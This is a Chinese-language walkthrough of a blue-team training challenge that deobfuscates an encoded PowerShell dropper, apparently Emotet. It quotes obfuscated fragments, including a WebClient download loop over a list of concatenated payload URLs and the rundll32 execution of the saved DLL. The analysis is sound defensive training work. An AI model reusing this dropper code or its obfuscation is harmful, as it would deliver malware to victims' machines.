最近,一家名为 GothamLegend 的大公司的网络在一名员工打开包含恶意软件的网络钓鱼电子邮件后遭到入侵。造成的损害非常严重,并导致整个业务范围的中断。GothamLegend 不得不联系第三方事件响应团队来协助调查。您是 IR 团队的成员 - 您所拥有的只是一个编码的 Powershell 脚本。您能否对其进行解码并确定造成此攻击的恶意软件?
https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef
PowerShell 接受不区分大小写的输入,因可以忽略本文中的随机大写,查看脚本文件为powershell执行,可以通过CyberChef进行分析
https://gchq.github.io/CyberChef
POwersheLL -w hidden
#表示打开了一个隐藏的 PowerShell 窗口(对用户不可见)
-ENCOD
#简写encoded表示该脚本是使用 Base64 编码的
使用 CyberChef 中的From Base64进行解码,解码后,它看起来很乱,而且很明显被混淆了。
复制解码后的内容,通过查找和替换功能,替换掉包含.
符号内容,并把匹配模式改成Simple String
继续使用查找和替换,把;
替换为\n
换行
在这里询问 SSL、TLS,通过查看第8行数据信息,发现内容如下,显示协议是sEcuRITYproTocol=Tls12
,对应答案为TLS 1.2
。
( vARiaBLe ("m"+"bu") -VAlueoN )::"sEcuRITYproT`o`c`ol" = ('T'+('ls'+'12'))
通过HOME参考给了我们一个很大的提示,可以看到第6行有一个createdirectory
值,它被设置为 $HOME
,后面跟着一个长字符串。
(DIr VariabLE:Mku ).VaLUe::"c`REAt`edI`REC`TORy"($HOME + (('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92))
$HOME
已经\HOME\
在我们的答案中了,并且+
告诉 PowerShell 将以下文本连接到它,所以我们只需将以下数据(以 开头(('{'+'0}Db_bh')
直接放入 PowerShell 并让它为我们进行反混淆。
echo $(('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92)
最终网站路径为:\HOME\Db_bh30\Yf5be5g\
现在我们有了恶意软件创建的目录,找到它应该是一件轻而易举的事。查看第 9-11 行,我们看到 3 个变量声明,但只有一个在后面的脚本中被重用。基于混淆,可能在其他混淆行中引用了其他行。但是,由于$Swrp6tc
第 12 行中完整显示了该目录,它也引用了该$HOME目录,所以我将从那里开始,看看我们得到了什么。
$F35I=('I'+('4'+'_B'))
$Swrp6tc = (('A6'+'9')+'S')
$X27H=('C3'+'3O')
$Imd1yck=$HOME+((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."ReP`lACe"(('U'+'OH'),[StrInG][chAr]92))+$Swrp6tc+(('.'+'dl')+'l')
看到$HOME
被连接到另一个长的混淆字符串,然后是.Replace
,然后是第 10 行 + '.dll'
中的另一个连接到我们的变量。我将通过 PowerShell 运行第一个字符串,以查看它是否与问题 2 中的目录相同。
echo $((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."ReP`lACe"(('U'+'OH'),[StrInG][chAr]92))
通过查看$Swrp6tc+(('.'+'dl')+'l')
名称获取文件名称为:A69S.dll
echo $((('A6'+'9')+'S')+(('.'+'dl')+'l'))
目前已经脚本$Imd4yck
用作文件的引用。在第 16 行,看到try{(&(New-Object) System.Net.WebClient.DownloadFile($Bm5pw6z, $Imd1yck)
,第 16 行以 foreach 循环开始,它迭代$B9fhbyv
并尝试下载文件并将其保存到我们的A69S.dll文件中。如果我们 echo $B9fhbyv
,我们会看到它是一个 URI 列表。
echo $(']'+('a'+'nw[3s://adm'+'int'+'k.c'+'o'+'m/'+'w')+('p-adm'+'in/'+'L/')+'@'+(']a'+'n'+'w[3s')+':'+'/'+'/m'+('ike'+'ge')+('e'+'r'+'inck.')+('c'+'om')+('/c/'+'Y'+'Ys')+'a'+('/@]'+'anw'+'['+'3://free'+'lanc'+'e'+'rw')+('ebdesi'+'gnerh'+'yd')+('er'+'aba')+('d.'+'com/')+('cgi'+'-bin'+'/S')+('/'+'@'+']anw')+('[3'+'://'+'etdog.co'+'m'+'/w')+('p-'+'co')+'nt'+('e'+'nt')+('/n'+'u/@')+(']a'+'nw[3')+'s'+('://'+'www'+'.hintu'+'p.c')+('o'+'m.')+('b'+'r/')+'w'+('p'+'-co')+('n'+'ten')+('t'+'/dE/'+'@]a'+'nw[3://'+'www.')+'s'+('tm'+'arouns'+'.')+('ns'+'w')+('.'+'edu.au/p'+'a'+'y'+'pal/b8')+('G'+'/@]')+('a'+'nw[')+('3:'+'/')+('/'+'wm.mcdeve'+'lop.net'+'/'+'c'+'on'+'t'+'e')+('nt'+'/')+'6'+('F2'+'gd/'))."RE`p`lACe"(((']a'+'n')+('w'+'[3')),([array]('sd','sw'),(('h'+'tt')+'p'),'3d')[1])."s`PLIT"($C83R + $Cvmmq4o + $F10Q)
在第18行中脚本检查下载文件是否为有效大小,如果是执行rundll32,执行新的下载的DLL,答案为:rundll32
根据解析后的URL,显示以6F2gd
结尾的文件域名为:wm.mcdevelop.net
基于搜索引擎进行搜索发现文件内容,发现该文件为emotet病毒